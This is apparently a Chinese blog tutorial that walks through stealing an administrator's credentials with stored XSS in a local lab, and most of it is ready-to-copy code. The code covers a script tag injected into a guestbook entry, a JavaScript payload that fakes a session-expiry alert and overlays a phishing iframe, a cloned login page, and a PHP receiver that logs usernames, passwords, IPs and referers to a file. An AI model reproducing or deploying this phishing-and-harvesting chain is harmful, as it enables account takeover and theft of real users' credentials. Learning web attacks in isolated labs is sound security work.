xss获取管理员的用户密码(本地实战)

更上一层楼!!!

环境准备

phpstudy

实战

phpstudy指定localhost目录下编写如下文件:

复制代码
admin_login.html  //原管理登录页面
admin_index.html  //原管理后台页面
fish.html         //我们高仿的登录页面,也就是钓鱼页
get.php           //数据接收文件
xss.js            //xss的payload

代码量比较少,就此复制粘贴即可

admin_login.html

复制代码
//admin_login.html  原管理登录页面
<html>
<body>
<head><title>管理员登录</title></head>
<form method="post" action="http://xxx/x.php">
用户名:<br>
<input type="text" name="username">
<br>
密码:<br>
<input type="text" name="password">
<br><br>
<input type="submit" value="登录">
</form> 
</body>
</html>

admin_index.html

复制代码
//admin_index.html  原管理后台页面
<html>
<body>
<head><title>管理员后台</title></head>
<h1>这里是管理员后台,你已成功登录</h1>
<button type="button">一键日卫星</button>
<hr><b>最新留言</b>
<ul>
<li>说书人长得好帅</li>
<li>楼上说得对<script src= "http://127.0.0.1/xss.js"></script></li>
</ul>
</body>
</html>

fish.html

复制代码
//fish.html  我们仿的登录页面,也就是钓鱼页
<body>
<head><title>管理员登录</title></head>
<form method="post" action="http://127.0.0.1/get.php">//这里发送给接收程序
用户名:<br>
<input type="text" name="username">
<br>
密码:<br>
<input type="text" name="password">
<br><br>
<input type="submit" value="Submit">
</form> 
</body>
</html>

get.php

复制代码
//get.php  数据接收文件
<?php
$line = '----------------------------------'."\r\n";
$user = '账号:'.$_POST['username']."\r\n";
$pwd = '密码:'.$_POST['password']."\r\n";
$ip = 'IP:'.getenv('REMOTE_ADDR')."\r\n";
$url = '钓鱼模板:'.getenv('HTTP_REFERER')."\r\n";
$date ='日期:'. date("Y-m-d")."\r\n";
$result = $line.$url.$user.$pwd.$ip.$date;
file_put_contents('good.txt',$result, FILE_APPEND);
header("Location: http://127.0.0.1/admin_index.html");
?>

xss.js

复制代码
//xss.js  xss的payload
setTimeout(function() {
    alert("登陆过期,请重新登陆!");
    parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src = \"127.0.0.1/fish.html\" frameBorder=0 scrolling=no></iframe>");
    setTimeout(function() {
        document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");
    },
    100);
    setTimeout(function() {
        parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");
    },
    100);
},
600000);

进入网页admin_login.html进行实战

实战完成后,在编写的所有文件目录下查找good.txt,上面记录的管理员的账户密码。实战结束

留言

有服务器的可以在服务器上实战。祝你们学习顺利!!!

相关推荐
龙亘川3 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
kybs19913 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
LorryJovens3 天前
【LAAP科研】双系统具身AGI范式研究——基于LAAP认知架构与Jev概率决策模型的系统性技术调研与范式验证
人工智能·gpt·安全·架构
其实防守也摸鱼3 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
山东科恩光电3 天前
提升安全性的关键技术:安全触边在工业自动化中的应用解析
安全
LONGZETECH3 天前
一线职教实测:风光 580 汽车故障诊断仿真系统,破解实车实训四大核心痛点
人工智能·学习·安全·架构·汽车
Mikko73 天前
jackson-databind 升到 2.21.6 就安全了吗?jackson-core 是另一个坐标,它那条 high 全局库至今没收
java·后端·安全·json
赛博守夜人3 天前
反舞弊系列之十四:商业地产与零售招商中的“转租差价与免租期寻租”
安全
xiaoqiMikko3 天前
你升的是 jackson-databind,中招的是 jackson-core:一个超长 JSON key 就能吃掉 200MB 堆
java·安全